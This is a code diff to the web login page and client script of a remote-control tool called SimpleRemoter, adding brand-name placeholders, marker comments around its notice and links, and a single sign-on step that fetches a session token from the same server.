-    <title>SimpleRemoter</title>
+    <title>__BRAND_NAME__</title>
     <!-- PWA / iOS Standalone App Support -->
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
-    <meta name="apple-mobile-web-app-title" content="Remoter">
+    <meta name="apple-mobile-web-app-title" content="__BRAND_NAME__">
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="theme-color" content="#1a1a2e">
     <link rel="manifest" href="__BASE_PATH__/manifest.json">
@@ -1154,7 +1154,7 @@
 
     <div id="login-page" class="page active">
         <div class="login-form">
-            <h1>SimpleRemoter</h1>
+            <h1>__BRAND_NAME__</h1>
             <div id="ws-status" class="conn-status disconnected">Connecting...</div>
             <input type="text" id="username" placeholder="Username" value="admin">
             <div class="password-wrapper">
@@ -1164,14 +1164,18 @@
             <button id="login-btn" onclick="login()" disabled>Login</button>
             <div id="login-error" class="error-msg"></div>
             <div class="login-footer">
+                <!--BRAND-NOTICE-START-->
                 <div class="security-notice">
                     <strong>&#x26A0; Security Notice</strong>
                     This software is for lawful, authorized, and legitimate use only. You are solely responsible for your use and for complying with applicable law. The developer assumes no liability.
                 </div>
+                <!--BRAND-NOTICE-END-->
+                <!--BRAND-LINKS-START-->
                 <div class="login-links">
                     <a href="https://simpleremoter.com/" target="_blank">&#x1F310; Website</a>
                     <a href="https://git.simpleremoter.com/" target="_blank">&#x1F4E6; Source Code</a>
                 </div>
+                <!--BRAND-LINKS-END-->
             </div>
         </div>
     </div>
@@ -1670,6 +1674,26 @@
             }
         }
 
+        // Attempt single sign-on via the portal's session cookie. On success
+        // the server returns a YAMA session token + role, which we persist
+        // exactly like a local login; the caller then connects the WS and skips
+        // the login form. Returns true on success, false to fall back to login.
+        async function trySSO() {
+            try {
+                const resp = await fetch('__BASE_PATH__/sso', { credentials: 'same-origin' });
+                if (!resp.ok) return false;
+                const data = await resp.json();
+                if (!data || !data.token) return false;
+                token = data.token;
+                currentUserRole = data.role || 'viewer';
+                sessionStorage.setItem('token', token);
+                sessionStorage.setItem('role', currentUserRole);
+                return true;
+            } catch (e) {
+                return false;
+            }
+        }
+
         function connectWebSocket() {
             if (!isPageVisible) return;  // Don't connect in background
             const protocol = location.protocol === 'https:' ? 'wss:' : 'ws:';
@@ -4480,14 +4504,21 @@
             bindKeyboardBtnEvents(document.getElementById('qc-keyboard'));
             bindKeyboardBtnEvents(document.getElementById('btn-keyboard'));
             bindKeyboardBtnEvents(document.getElementById('btn-keyboard-bar'));
-            // Restore token and role from sessionStorage
+            // Restore token and role from sessionStorage (local-login fallback).
             token = sessionStorage.getItem('token');
             currentUserRole = sessionStorage.getItem('role') || 'viewer';
-            // Show Users button for admin only (will be updated after login verification)
-            if (token && currentUserRole === 'admin') {
-                document.getElementById('users-btn').classList.add('visible');
-            }
-            connectWebSocket();
+            // Attempt portal SSO first: if the user is already logged into the
+            // parent domain, the server bridges the portal session cookie into
+            // a YAMA session token so the login form is skipped. On failure
+            // (not logged in, or SSO disabled) fall back to the restored
+            // session or the built-in login form.
+            trySSO().then(() => {
+                // Show Users button for admin only (final role known after SSO).
+                if (token && currentUserRole === 'admin') {
+                    document.getElementById('users-btn').classList.add('visible');
+                }
+                connectWebSocket();
+            });
         };
     </script>
 </body>